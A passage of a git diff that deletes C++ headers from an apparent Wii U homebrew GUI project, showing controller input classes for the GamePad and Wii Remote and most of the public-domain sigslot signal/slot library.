clickEverywhere = false, bool holdEverywhere = false, bool selectionClickEverywhere = false); - //!Destructor - virtual ~GuiTrigger(); - //!Sets a simple trigger. Requires: element is selected, and trigger button is pressed - void setTrigger(u32 ch, u32 btns); - - void setClickEverywhere(bool b) { bClickEverywhere = b; } - void setHoldOnly(bool b) { bHoldEverywhere = b; } - void setSelectionClickEverywhere(bool b) { bSelectionClickEverywhere = b; } - - bool isClickEverywhere() const { return bClickEverywhere; } - bool isHoldEverywhere() const { return bHoldEverywhere; } - bool isSelectionClickEverywhere() const { return bSelectionClickEverywhere; } - - bool left(const GuiController *controller) const; - bool right(const GuiController *controller) const; - bool up(const GuiController *controller) const; - bool down(const GuiController *controller) const; - bool clicked(const GuiController *controller) const; - bool held(const GuiController *controller) const; - bool released(const GuiController *controller) const; -private: - u32 chan; - u32 btns; - bool bClickEverywhere; - bool bHoldEverywhere; - bool bSelectionClickEverywhere; - bool bLastTouched; -}; - -#endif diff --git a/src/gui/VPadController.h b/src/gui/VPadController.h deleted file mode 100644 index 83e437d..0000000 --- a/src/gui/VPadController.h +++ /dev/null @@ -1,62 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 Dimok - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - ****************************************************************************/ -#ifndef VPAD_CONTROLLER_H_ -#define VPAD_CONTROLLER_H_ - -#include -#include "GuiController.h" - -class VPadController : public GuiController -{ -public: - //!Constructor - VPadController(int channel) - : GuiController(channel) - { - memset(&vpad, 0, sizeof(vpad)); - } - - //!Destructor - virtual ~VPadController() {} - - bool update(int width, int height) - { - lastData = data; - - VPADReadError vpadError = VPAD_READ_NO_SAMPLES; - VPADRead(0, &vpad, 1, &vpadError); - - if(vpadError == VPAD_READ_SUCCESS) - { - data.buttons_r = vpad.release; - data.buttons_h = vpad.hold; - data.buttons_d = vpad.trigger; - data.validPointer = !vpad.tpNormal.validity; - data.touched = vpad.tpNormal.touched; - //! calculate the screen offsets - data.x = -(width >> 1) + (int)((vpad.tpFiltered1.x * width) >> 12); - data.y = (height >> 1) - (int)(height - ((vpad.tpFiltered1.y * height) >> 12)); - return true; - } - return false; - } - -private: - VPADStatus vpad; -}; - -#endif diff --git a/src/gui/WPadController.h b/src/gui/WPadController.h deleted file mode 100644 index 26d1d98..0000000 --- a/src/gui/WPadController.h +++ /dev/null @@ -1,179 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 Dimok - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - ****************************************************************************/ -#ifndef WPAD_CONTROLLER_H_ -#define WPAD_CONTROLLER_H_ - -#include "GuiController.h" -#include "dynamic_libs/padscore_functions.h" - -class WPadController : public GuiController -{ -public: - //!Constructor - WPadController(int channel) - : GuiController(channel) - { - memset(&kpadData, 0, sizeof(kpadData)); - } - - //!Destructor - virtual ~WPadController() {} - - u32 remapWiiMoteButtons(u32 buttons) - { - u32 conv_buttons = 0; - - if(buttons & WPAD_BUTTON_LEFT) - conv_buttons |= GuiTrigger::BUTTON_LEFT; - - if(buttons & WPAD_BUTTON_RIGHT) - conv_buttons |= GuiTrigger::BUTTON_RIGHT; - - if(buttons & WPAD_BUTTON_DOWN) - conv_buttons |= GuiTrigger::BUTTON_DOWN; - - if(buttons & WPAD_BUTTON_UP) - conv_buttons |= GuiTrigger::BUTTON_UP; - - if(buttons & WPAD_BUTTON_PLUS) - conv_buttons |= GuiTrigger::BUTTON_PLUS; - - if(buttons & WPAD_BUTTON_2) - conv_buttons |= GuiTrigger::BUTTON_2; - - if(buttons & WPAD_BUTTON_1) - conv_buttons |= GuiTrigger::BUTTON_1; - - if(buttons & WPAD_BUTTON_B) - conv_buttons |= GuiTrigger::BUTTON_B; - - if(buttons & WPAD_BUTTON_A) - conv_buttons |= GuiTrigger::BUTTON_A; - - if(buttons & WPAD_BUTTON_MINUS) - conv_buttons |= GuiTrigger::BUTTON_MINUS; - - if(buttons & WPAD_BUTTON_Z) - conv_buttons |= GuiTrigger::BUTTON_Z; - - if(buttons & WPAD_BUTTON_C) - conv_buttons |= GuiTrigger::BUTTON_C; - - if(buttons & WPAD_BUTTON_HOME) - conv_buttons |= GuiTrigger::BUTTON_HOME; - - return conv_buttons; - } - u32 remapClassicButtons(u32 buttons) - { - u32 conv_buttons = 0; - - if(buttons & WPAD_CLASSIC_BUTTON_LEFT) - conv_buttons |= GuiTrigger::BUTTON_LEFT; - - if(buttons & WPAD_CLASSIC_BUTTON_RIGHT) - conv_buttons |= GuiTrigger::BUTTON_RIGHT; - - if(buttons & WPAD_CLASSIC_BUTTON_DOWN) - conv_buttons |= GuiTrigger::BUTTON_DOWN; - - if(buttons & WPAD_CLASSIC_BUTTON_UP) - conv_buttons |= GuiTrigger::BUTTON_UP; - - if(buttons & WPAD_CLASSIC_BUTTON_PLUS) - conv_buttons |= GuiTrigger::BUTTON_PLUS; - - if(buttons & WPAD_CLASSIC_BUTTON_X) - conv_buttons |= GuiTrigger::BUTTON_X; - - if(buttons & WPAD_CLASSIC_BUTTON_Y) - conv_buttons |= GuiTrigger::BUTTON_Y; - - if(buttons & WPAD_CLASSIC_BUTTON_B) - conv_buttons |= GuiTrigger::BUTTON_B; - - if(buttons & WPAD_CLASSIC_BUTTON_A) - conv_buttons |= GuiTrigger::BUTTON_A; - - if(buttons & WPAD_CLASSIC_BUTTON_MINUS) - conv_buttons |= GuiTrigger::BUTTON_MINUS; - - if(buttons & WPAD_CLASSIC_BUTTON_HOME) - conv_buttons |= GuiTrigger::BUTTON_HOME; - - if(buttons & WPAD_CLASSIC_BUTTON_ZR) - conv_buttons |= GuiTrigger::BUTTON_ZR; - - if(buttons & WPAD_CLASSIC_BUTTON_ZL) - conv_buttons |= GuiTrigger::BUTTON_ZL; - - if(buttons & WPAD_CLASSIC_BUTTON_R) - conv_buttons |= GuiTrigger::BUTTON_R; - - if(buttons & WPAD_CLASSIC_BUTTON_L) - conv_buttons |= GuiTrigger::BUTTON_L; - - return conv_buttons; - } - - bool update(int width, int height) - { - lastData = data; - - u32 controller_type; - - //! check if the controller is connected - if(WPADProbe(chanIdx-1, &controller_type) != 0) - return false; - - KPADRead(chanIdx-1, &kpadData, 1); - - if(kpadData.device_type <= 1) - { - data.buttons_r = remapWiiMoteButtons(kpadData.btns_r); - data.buttons_h = remapWiiMoteButtons(kpadData.btns_h); - data.buttons_d = remapWiiMoteButtons(kpadData.btns_d); - } - else - { - data.buttons_r = remapClassicButtons(kpadData.classic.btns_r); - data.buttons_h = remapClassicButtons(kpadData.classic.btns_h); - data.buttons_d = remapClassicButtons(kpadData.classic.btns_d); - } - - data.validPointer = (kpadData.pos_valid == 1 || kpadData.pos_valid == 2) && (kpadData.pos_x >= -1.0f && kpadData.pos_x <= 1.0f) && (kpadData.pos_y >= -1.0f && kpadData.pos_y <= 1.0f); - //! calculate the screen offsets if pointer is valid else leave old value - if(data.validPointer) - { - data.x = (width >> 1) * kpadData.pos_x; - data.y = (height >> 1) * (-kpadData.pos_y); - - if(kpadData.angle_y > 0.0f) - data.pointerAngle = (-kpadData.angle_x + 1.0f) * 0.5f * 180.0f; - else - data.pointerAngle = (kpadData.angle_x + 1.0f) * 0.5f * 180.0f - 180.0f; - } - - return true; - } - -private: - KPADData kpadData; - u32 lastButtons; -}; - -#endif diff --git a/src/gui/sigslot.h b/src/gui/sigslot.h deleted file mode 100644 index d1f3844..0000000 --- a/src/gui/sigslot.h +++ /dev/null @@ -1,2731 +0,0 @@ -// sigslot.h: Signal/Slot classes -// -// Written by Sarah Thompson (sarah@telergy.com) 2002. -// -// License: Public domain. You are free to use this code however you like, with the proviso that -// the author takes on no responsibility or liability for any use. -// -// QUICK DOCUMENTATION -// -// (see also the full documentation at http://sigslot.sourceforge.net/) -// -// #define switches -// SIGSLOT_PURE_ISO - Define this to force ISO C++ compliance. This also disables -// all of the thread safety support on platforms where it is -// available. -// -// SIGSLOT_USE_POSIX_THREADS - Force use of Posix threads when using a C++ compiler other than -// gcc on a platform that supports Posix threads. (When using gcc, -// this is the default - use SIGSLOT_PURE_ISO to disable this if -// necessary) -// -// SIGSLOT_DEFAULT_MT_POLICY - Where thread support is enabled, this defaults to multi_threaded_global. -// Otherwise, the default is single_threaded. #define this yourself to -// override the default. In pure ISO mode, anything other than -// single_threaded will cause a compiler error. -// -// PLATFORM NOTES -// -// Win32 - On Win32, the WIN32 symbol must be #defined. Most mainstream -// compilers do this by default, but you may need to define it -// yourself if your build environment is less standard. This causes -// the Win32 thread support to be compiled in and used automatically. -// -// Unix/Linux/BSD, etc. - If you're using gcc, it is assumed that you have Posix threads -// available, so they are used automatically. You can override this -// (as under Windows) with the SIGSLOT_PURE_ISO switch. If you're using -// something other than gcc but still want to use Posix threads, you -// need to #define SIGSLOT_USE_POSIX_THREADS. -// -// ISO C++ - If none of the supported platforms are detected, or if -// SIGSLOT_PURE_ISO is defined, all multithreading support is turned off, -// along with any code that might cause a pure ISO C++ environment to -// complain. Before you ask, gcc -ansi -pedantic won't compile this -// library, but gcc -ansi is fine. Pedantic mode seems to throw a lot of -// errors that aren't really there. If you feel like investigating this, -// please contact the author. -// -// -// THREADING MODES -// -// single_threaded - Your program is assumed to be single threaded from the point of view -// of signal/slot usage (i.e. all objects using signals and slots are -// created and destroyed from a single thread). Behaviour if objects are -// destroyed concurrently is undefined (i.e. you'll get the occasional -// segmentation fault/memory exception). -// -// multi_threaded_global - Your program is assumed to be multi threaded. Objects using signals and -// slots can be safely created and destroyed from any thread, even when -// connections exist. In multi_threaded_global mode, this is achieved by a -// single global mutex (actually a critical section on Windows because they -// are faster). This option uses less OS resources, but results in more -// opportunities for contention, possibly resulting in more context switches -// than are strictly necessary. -// -// multi_threaded_local - Behaviour in this mode is essentially the same as multi_threaded_global, -// except that each signal, and each object that inherits has_slots, all -// have their own mutex/critical section. In practice, this means that -// mutex collisions (and hence context switches) only happen if they are -// absolutely essential. However, on some platforms, creating a lot of -// mutexes can slow down the whole OS, so use this option with care. -// -// USING THE LIBRARY -// -// See the full documentation at http://sigslot.sourceforge.net/ -// -// -#ifndef SIGSLOT_H__ -#define SIGSLOT_H__ - -#include -#include - -#define _SIGSLOT_SINGLE_THREADED - -#ifndef SIGSLOT_DEFAULT_MT_POLICY -# ifdef _SIGSLOT_SINGLE_THREADED -# define SIGSLOT_DEFAULT_MT_POLICY single_threaded -# else -# define SIGSLOT_DEFAULT_MT_POLICY multi_threaded_local -# endif -#endif - - -namespace sigslot { - - class single_threaded - { - public: - single_threaded() - { - ; - } - - virtual ~single_threaded() - { - ; - } - - virtual void lock() - { - ; - } - - virtual void unlock() - { - ; - } - }; - -#ifdef _SIGSLOT_HAS_WIN32_THREADS - // The multi threading policies only get compiled in if they are enabled. - class multi_threaded_global - { - public: - multi_threaded_global() - { - static bool isinitialised = false; - - if(!isinitialised) - { - InitializeCriticalSection(get_critsec()); - isinitialised = true; - } - } - - multi_threaded_global(const multi_threaded_global&) - { - ; - } - - virtual ~multi_threaded_global() - { - ; - } - - virtual void lock() - { - EnterCriticalSection(get_critsec()); - } - - virtual void unlock() - { - LeaveCriticalSection(get_critsec()); - } - - private: - CRITICAL_SECTION* get_critsec() - { - static CRITICAL_SECTION g_critsec; - return &g_critsec; - } - }; - - class multi_threaded_local - { - public: - multi_threaded_local() - { - InitializeCriticalSection(&m_critsec); - } - - multi_threaded_local(const multi_threaded_local&) - { - InitializeCriticalSection(&m_critsec); - } - - virtual ~multi_threaded_local() - { - DeleteCriticalSection(&m_critsec); - } - - virtual void lock() - { - EnterCriticalSection(&m_critsec); - } - - virtual void unlock() - { - LeaveCriticalSection(&m_critsec); - } - - private: - CRITICAL_SECTION m_critsec; - }; -#endif // _SIGSLOT_HAS_WIN32_THREADS - -#ifdef _SIGSLOT_HAS_POSIX_THREADS - // The multi threading policies only get compiled in if they are enabled. - class multi_threaded_global - { - public: - multi_threaded_global() - { - pthread_mutex_init(get_mutex(), NULL); - } - - multi_threaded_global(const multi_threaded_global&) - { - ; - } - - virtual ~multi_threaded_global() - { - ; - } - - virtual void lock() - { - pthread_mutex_lock(get_mutex()); - } - - virtual void unlock() - { - pthread_mutex_unlock(get_mutex()); - } - - private: - pthread_mutex_t* get_mutex() - { - static pthread_mutex_t g_mutex; - return &g_mutex; - } - }; - - class multi_threaded_local - { - public: - multi_threaded_local() - { - pthread_mutex_init(&m_mutex, NULL); - } - - multi_threaded_local(const multi_threaded_local&) - { - pthread_mutex_init(&m_mutex, NULL); - } - - virtual ~multi_threaded_local() - { - pthread_mutex_destroy(&m_mutex); - } - - virtual void lock() - { - pthread_mutex_lock(&m_mutex); - } - - virtual void unlock() - { - pthread_mutex_unlock(&m_mutex); - } - - private: - pthread_mutex_t m_mutex; - }; -#endif // _SIGSLOT_HAS_POSIX_THREADS - -#ifdef _SIGSLOT_HAS_LWP_THREADS - - class multi_threaded_global - { - public: - multi_threaded_global() - { - ; - } - - multi_threaded_global(const multi_threaded_global&) - { - ; - } - - virtual ~multi_threaded_global() - { - ; - } - - virtual void lock() - { - ; - } - - virtual void unlock() - { - ; - } - }; - - class multi_threaded_local - { - public: - multi_threaded_local() - { - ; - } - - multi_threaded_local(const multi_threaded_local&) - { - ; - } - - virtual ~multi_threaded_local() - { - } - - virtual void lock() - { - ; - } - - virtual void unlock() - { - ; - } - }; - -#endif // _SIGSLOT_HAS_LWP_THREADS - - template - class lock_block - { - public: - mt_policy *m_mutex; - - lock_block(mt_policy *mtx) - : m_mutex(mtx) - { - m_mutex->lock(); - } - - ~lock_block() - { - m_mutex->unlock(); - } - }; - - template - class has_slots; - - template - class _connection_base0 - { - public: - virtual ~_connection_base0() { ; } - virtual has_slots* getdest() const = 0; - virtual void emit() = 0; - virtual _connection_base0* clone() = 0; - virtual _connection_base0* duplicate(has_slots* pnewdest) = 0; - }; - - template - class _connection_base1 - { - public: - virtual ~_connection_base1() { ; } - virtual has_slots* getdest() const = 0; - virtual void emit(arg1_type) = 0; - virtual _connection_base1* clone() = 0; - virtual _connection_base1* duplicate(has_slots* pnewdest) = 0; - }; - - template - class _connection_base2 - { - public: - virtual ~_connection_base2() { ; } - virtual has_slots* getdest() const = 0; - virtual void emit(arg1_type, arg2_type) = 0; - virtual _connection_base2* clone() = 0; - virtual _connection_base2* duplicate(has_slots* pnewdest) = 0; - }; - - template - class _connection_base3 - { - public: - virtual ~_connection_base3() { ; } - virtual has_slots* getdest() const = 0; - virtual void emit(arg1_type, arg2_type, arg3_type) = 0; - virtual _connection_base3* clone() = 0; - virtual _connection_base3* duplicate(has_slots* pnewdest) = 0; - }; - - template - class _connection_base4 - { - public: - virtual ~_connection_base4() { ; } - virtual has_slots* getdest() const = 0; - virtual void emit(arg1_type, arg2_type, arg3_type, arg4_type) = 0; - virtual _connection_base4* clone() = 0; - virtual _connection_base4* duplicate(has_slots* pnewdest) = 0; - }; - - template - class _connection_base5 - { - public: - virtual ~_connection_base5() { ; } - virtual has_slots* getdest() const = 0; - virtual void emit(arg1_type, arg2_type, arg3_type, arg4_type, - arg5_type) = 0; - virtual _connection_base5* clone() = 0; - virtual _connection_base5* duplicate(has_slots* pnewdest) = 0; - }; - - template - class _connection_base6 - { - public: - virtual ~_connection_base6() { ; } - virtual has_slots* getdest() const = 0; - virtual void emit(arg1_type, arg2_type, arg3_type, arg4_type, arg5_type, - arg6_type) = 0; - virtual _connection_base6* clone() = 0; - virtual _connection_base6* duplicate(has_slots* pnewdest) = 0; - }; - - template - class _connection_base7 - { - public: - virtual ~_connection_base7() { ; } - virtual has_slots* getdest() const = 0; - virtual void emit(arg1_type, arg2_type, arg3_type, arg4_type, arg5_type, - arg6_type, arg7_type) = 0; - virtual _connection_base7* clone() = 0; - virtual _connection_base7* duplicate(has_slots* pnewdest) = 0; - }; - - template - class _connection_base8 - { - public: - virtual ~_connection_base8() { ; } - virtual has_slots* getdest() const = 0; - virtual void emit(arg1_type, arg2_type, arg3_type, arg4_type, arg5_type, - arg6_type, arg7_type, arg8_type) = 0; - virtual _connection_base8* clone() = 0; - virtual _connection_base8* duplicate(has_slots* pnewdest) = 0; - }; - - template - class _signal_base : public mt_policy - { - public: - virtual void slot_disconnect(has_slots* pslot) = 0; - virtual void slot_duplicate(const has_slots* poldslot, has_slots* pnewslot) = 0; - }; - - template - class has_slots : public mt_policy - { - private: - typedef typename std::set<_signal_base *> sender_set; - typedef typename sender_set::const_iterator const_iterator; - - public: - has_slots() - { - ; - } - - has_slots(const has_slots& hs) - : mt_policy(hs) - { - lock_block lock(this); - const_iterator it = hs.m_senders.begin(); - const_iterator itEnd = hs.m_senders.end(); - - while(it != itEnd) - { - (*it)->slot_duplicate(&hs, this); - m_senders.insert(*it); - ++it; - } - } - - void signal_connect(_signal_base* sender) - { - lock_block lock(this); - m_senders.insert(sender); - } - - void signal_disconnect(_signal_base* sender) - { - lock_block lock(this); - m_senders.erase(sender); - } - - virtual ~has_slots() - { - disconnect_all(); - } - - void disconnect_all() - { - lock_block lock(this); - const_iterator it = m_senders.begin(); - const_iterator itEnd = m_senders.end(); - - while(it != itEnd) - { - (*it)->slot_disconnect(this); - ++it; - } - - m_senders.erase(m_senders.begin(), m_senders.end()); - } - - private: - sender_set m_senders; - }; - - template - class _signal_base0 : public _signal_base - { - public: - typedef typename std::list<_connection_base0 *> connections_list; - typedef typename connections_list::const_iterator const_iterator; - typedef typename connections_list::iterator iterator; - - _signal_base0() - { - ; - } - - _signal_base0(const _signal_base0& s) - : _signal_base(s) - { - lock_block lock(this); - const_iterator it = s.m_connected_slots.begin(); - const_iterator itEnd = s.m_connected_slots.end(); - - while(it != itEnd) - { - (*it)->getdest()->signal_connect(this); - m_connected_slots.push_back((*it)->clone()); - - ++it; - } - } - - ~_signal_base0() - { - disconnect_all(); - } - - void disconnect_all() - { - lock_block lock(this); - const_iterator it = m_connected_slots.begin(); - const_iterator itEnd = m_connected_slots.end(); - - while(it != itEnd) - { - (*it)->getdest()->signal_disconnect(this); - delete *it; - - ++it; - } - - m_connected_slots.erase(m_connected_slots.begin(), m_connected_slots.end()); - } - - void disconnect(has_slots* pclass) - { - lock_block lock(this); - iterator it = m_connected_slots.begin(); - iterator itEnd = m_connected_slots.end(); - - while(it != itEnd) - { - if((*it)->getdest() == pclass) - { - delete *it; - m_connected_slots.erase(it); - pclass->signal_disconnect(this); - return; - } - - ++it; - } - } - - bool connected() - { - return m_connected_slots.size() != 0; - } - - void slot_disconnect(has_slots* pslot) - { - lock_block lock(this); - iterator it = m_connected_slots.begin(); - iterator itEnd = m_connected_slots.end(); - - while(it != itEnd) - { - iterator itNext = it; - ++itNext; - - if((*it)->getdest() == pslot) - { - delete *it; - m_connected_slots.erase(it); - // delete *it; - } - - it = itNext; - } - } - - void slot_duplicate(const has_slots* oldtarget, has_slots* newtarget) - { - lock_block lock(this); - iterator it = m_connected_slots.begin(); - iterator itEnd = m_connected_slots.end(); - - while(it != itEnd) - { - if((*it)->getdest() == oldtarget) - { - m_connected_slots.push_back((*it)->duplicate(newtarget)); - } - - ++it; - } - } - - protected: - connections_list m_connected_slots; - }; - - template - class _signal_base1 : public _signal_base - { - public: - typedef typename std::list<_connection_base1 *> connections_list; - typedef typename connections_list::const_iterator const_iterator; - typedef typename connections_list::iterator iterator; - - _signal_base1() - { - ; - } - - _signal_base1(const _signal_base1& s) - : _signal_base(s) - { - lock_block lock(this); - const_iterator it = s.m_connected_slots.begin(); - const_iterator itEnd = s.m_connected_slots.end(); - - while(it != itEnd) - { - (*it)->getdest()->signal_connect(this); - m_connected_slots.push_back((*it)->clone()); - - ++it; - } - } - - void slot_duplicate(const has_slots* oldtarget, has_slots* newtarget) - { - lock_block lock(this); - iterator it = m_connected_slots.begin(); - iterator itEnd = m_connected_slots.end(); - - while(it != itEnd) - { - if((*it)->getdest() == oldtarget) - { - m_connected_slots.push_back((*it)->duplicate(newtarget)); - } - - ++it; - } - } - - ~_signal_base1() - { - disconnect_all(); - } - - void disconnect_all() - { - lock_block lock(this); - const_iterator it = m_connected_slots.begin(); - const_iterator itEnd = m_connected_slots.end(); - - while(it != itEnd) - { - (*it)->getdest()->signal_disconnect(this); - delete *it; - - ++it; - } - - m_connected_slots.erase(m_connected_slots.begin(), m_connected_slots.end()); - } - - void disconnect(has_slots* pclass) - { - lock_block lock(this); - iterator it = m_connected_slots.begin(); - iterator itEnd = m_connected_slots.end(); - - while(it != itEnd) - { - if((*it)->getdest() == pclass) - { - delete *it; - m_connected_slots.erase(it); - pclass->signal_disconnect(this); - return; - } - - ++it; - } - } - - bool connected() - { - return m_connected_slots.size() != 0; - } - - void slot_disconnect(has_slots* pslot) - { - lock_block lock(this); - iterator it = m_connected_slots.begin(); - iterator itEnd = m_connected_slots.end(); - - while(it != itEnd) - { - iterator itNext = it; - ++itNext; - - if((*it)->getdest() == pslot) - { - delete *it; - m_connected_slots.erase(it); - // delete *it; - } - - it = itNext; - } - } - - - protected: - connections_list m_connected_slots; - }; - - template - class _signal_base2 : public _signal_base - { - public: - typedef typename std::list<_connection_base2 *> - connections_list; - typedef typename connections_list::const_iterator const_iterator; - typedef typename connections_list::iterator iterator; - - _signal_base2() - { - ; - } - - _signal_base2(const _signal_base2& s) - : _signal_base(s) - { - lock_block lock(this); - const_iterator it = s.m_connected_slots.begin(); - const_iterator itEnd = s.m_connected_slots.end(); - - while(it != itEnd) - { - (*it)->getdest()->signal_connect(this); - m_connected_slots.push_back((*it)->clone()); - - ++it; - } - } - - void slot_duplicate(const has_slots* oldtarget, has_slots* newtarget) - { - lock_block lock(this); - iterator it = m_connected_slots.begin(); - iterator itEnd = m_connected_slots.end(); - - while(it != itEnd) - { - if((*it)->getdest() == oldtarget) - { - m_connected_slots.push_back((*it)->duplicate(newtarget)); - } - - ++it; - } - } - - ~_signal_base2() - { - disconnect_all(); - } - - void disconnect_all() - { - lock_block lock(this); - const_iterator it = m_connected_slots.begin(); - const_iterator itEnd = m_connected_slots.end(); - - while(it != itEnd) - { - (*it)->getdest()->signal_disconnect(this); - delete *it; - - ++it; - } - - m_connected_slots.erase(m_connected_slots.begin(), m_connected_slots.end()); - } - - void disconnect(has_slots* pclass) - { - lock_block lock(this); - iterator it = m_connected_slots.begin(); - iterator itEnd = m_connected_slots.end(); - - while(it != itEnd) - { - if((*it)->getdest() == pclass) - { - delete *it; - m_connected_slots.erase(it); - pclass->signal_disconnect(this); - return; - } - - ++it; - } - } - - bool connected() - { - return m_connected_slots.size() != 0; - } - - void slot_disconnect(has_slots* pslot) - { - lock_block lock(this); - iterator it = m_connected_slots.begin(); - iterator itEnd = m_connected_slots.end(); - - while(it != itEnd) - { - iterator itNext = it; - ++itNext; - - if((*it)->getdest() == pslot) - { - delete *it; - m_connected_slots.erase(it); - // delete *it; - } - - it = itNext; - } - } - - protected: - connections_list m_connected_slots; - }; - - template - class _signal_base3 : public _signal_base - { - public: - typedef std::list<_connection_base3 *> - connections_list; - - typedef typename connections_list::const_iterator const_iterator; - typedef typename connections_list::iterator iterator; - _signal_base3() - { - ; - } - - _signal_base3(const _signal_base3& s) - : _signal_base(s) - { - lock_block lock(this); - const_iterator it = s.m_connected_slots.begin(); - const_iterator itEnd = s.m_connected_slots.end(); - - while(it != itEnd) - { - (*it)->getdest()->signal_connect(this); - m_connected_slots.push_back((*it)->clone()); - - ++it; - } - } - - void slot_duplicate(const has_slots* oldtarget, has_slots* newtarget) - { - lock_block lock(this); - iterator it = m_connected_slots.begin(); - iterator itEnd = m_connected_slots.end(); - - while(it != itEnd) - { - if((*it)->getdest() == oldtarget) - { - m_connected_slots.push_back((*it)->duplicate(newtarget)); - } - - ++it; - } - } - - ~_signal_base3() - { - disconnect_all(); - } - - void disconnect_all() - { - lock_block lock(this); - const_iterator it = m_connected_slots.begin(); - const_iterator itEnd = m_connected_slots.end(); - - while(it != itEnd) - { - (*it)->getdest()->signal_disconnect(this); - delete *it; - - ++it; - } - - m_connected_slots.erase(m_connected_slots.begin(), m_connected_slots.end()); - } - - void disconnect(has_slots* pclass) - { - lock_block lock(this); - iterator it = m_connected_slots.begin(); - iterator itEnd = m_connected_slots.end(); - - while(it != itEnd) - { - if((*it)->getdest() == pclass) - { - delete *it; - m_connected_slots.erase(it); - pclass->signal_disconnect(this); - return; - } - - ++it; - } - } - - bool connected() - { - return m_connected_slots.size() != 0; - } - - void slot_disconnect(has_slots* pslot) - { - lock_block lock(this); - iterator it = m_connected_slots.begin(); - iterator itEnd = m_connected_slots.end(); - - while(it != itEnd) - { - iterator itNext = it; - ++itNext; - - if((*it)->getdest() == pslot) - { - delete *it; - m_connected_slots.erase(it); - // delete *it; - } - - it = itNext; - } - } - - protected: - connections_list m_connected_slots; - }; - - template - class _signal_base4 : public _signal_base - { - public: - typedef std::list<_connection_base4 *> connections_list; - typedef typename connections_list::const_iterator const_iterator; - typedef typename connections_list::iterator iterator; - - _signal_base4() - { - ; - } - - _signal_base4(const _signal_base4& s) - : _signal_base(s) - { - lock_block lock(this); - const_iterator it = s.m_connected_slots.begin(); - const_iterator itEnd = s.m_connected_slots.end(); - - while(it != itEnd) - { - (*it)->getdest()->signal_connect(this); - m_connected_slots.push_back((*it)->clone()); - - ++it; - } - } - - void slot_duplicate(const has_slots* oldtarget, has_slots* newtarget) - { - lock_block lock(this); - iterator it = m_connected_slots.begin(); - iterator itEnd = m_connected_slots.end(); - - while(it != itEnd) - { - if((*it)->getdest() == oldtarget) - { - m_connected_slots.push_back((*it)->duplicate(newtarget)); - } - - ++it; - } - } - - ~_signal_base4() - { - disconnect_all(); - } - - void disconnect_all() - { - lock_block lock(this); - const_iterator it = m_connected_slots.begin(); - const_iterator itEnd = m_connected_slots.end(); - - while(it != itEnd) - { - (*it)->getdest()->signal_disconnect(this); - delete *it; - - ++it; - } - - m_connected_slots.erase(m_connected_slots.begin(), m_connected_slots.end()); - } - - void disconnect(has_slots* pclass) - { - lock_block lock(this); - iterator it = m_connected_slots.begin(); - iterator itEnd = m_connected_slots.end(); - - while(it != itEnd) - { - if((*it)->getdest() == pclass) - { - delete *it; - this->m_connected_slots.erase(it); - pclass->signal_disconnect(this); - return; - } - - ++it; - } - } - - bool connected() - { - return m_connected_slots.size() != 0; - } - - void slot_disconnect(has_slots* pslot) - { - lock_block lock(this); - iterator it = m_connected_slots.begin(); - iterator itEnd = m_connected_slots.end(); - - while(it != itEnd) - { - iterator itNext = it; - ++itNext; - - if((*it)->getdest() == pslot) - { - delete *it; - m_connected_slots.erase(it); - // delete *it; - } - - it = itNext; - } - } - - protected: - connections_list m_connected_slots; - }; - - template - class _signal_base5 : public _signal_base - { - public: - typedef std::list<_connection_base5 *> connections_list; - typedef typename connections_list::const_iterator const_iterator; - typedef typename connections_list::iterator iterator; - - _signal_base5() - { - ; - } - - _signal_base5(const _signal_base5& s) - : _signal_base(s) - { - lock_block lock(this); - const_iterator it = s.m_connected_slots.begin(); - const_iterator itEnd = s.m_connected_slots.end(); - - while(it != itEnd) - { - (*it)->getdest()->signal_connect(this); - m_connected_slots.push_back((*it)->clone()); - - ++it; - } - } - - void slot_duplicate(const has_slots* oldtarget, has_slots* newtarget) - { - lock_block lock(this); - iterator it = m_connected_slots.begin(); - iterator itEnd = m_connected_slots.end(); - - while(it != itEnd) - { - if((*it)->getdest() == oldtarget) - { - m_connected_slots.push_back((*it)->duplicate(newtarget)); - } - - ++it; - } - } - - ~_signal_base5() - { - disconnect_all(); - } - - void disconnect_all() - { - lock_block lock(this); - const_iterator it = m_connected_slots.begin(); - const_iterator itEnd = m_connected_slots.end(); - - while(it != itEnd) - { - (*it)->getdest()->signal_disconnect(this); - delete *it; - - ++it; - } - - m_connected_slots.erase(m_connected_slots.begin(), m_connected_slots.end()); - } - - void disconnect(has_slots* pclass) - { - lock_block lock(this); - iterator it = m_connected_slots.begin(); - iterator itEnd = m_connected_slots.end(); - - while(it != itEnd) - { - if((*it)->getdest() == pclass) - { - delete *it; - m_connected_slots.erase(it); - pclass->signal_disconnect(this); - return; - } - - ++it; - } - } - - bool connected() - { - return m_connected_slots.size() != 0; - } - - void slot_disconnect(has_slots* pslot) - { - lock_block lock(this); - iterator it = m_connected_slots.begin(); - iterator itEnd = m_connected_slots.end(); - - while(it != itEnd) - { - iterator itNext = it; - ++itNext; - - if((*it)->getdest() == pslot) - { - delete *it; - m_connected_slots.erase(it); - // delete *it; - } - - it = itNext; - } - } - - protected: - connections_list m_connected_slots; - }; - - template - class _signal_base6 : public _signal_base - { - public: - typedef std::list<_connection_base6 *> connections_list; - typedef typename connections_list::const_iterator const_iterator; - typedef typename connections_list::iterator iterator; - - _signal_base6() - { - ; - } - - _signal_base6(const _signal_base6& s) - : _signal_base(s) - { - lock_block lock(this); - const_iterator it = s.m_connected_slots.begin(); - const_iterator itEnd = s.m_connected_slots.end(); - - while(it != itEnd) - { - (*it)->getdest()->signal_connect(this); - m_connected_slots.push_back((*it)->clone()); - - ++it; - } - } - - void slot_duplicate(const has_slots* oldtarget, has_slots* newtarget) - { - lock_block lock(this); - iterator it = m_connected_slots.begin(); - iterator itEnd = m_connected_slots.end(); 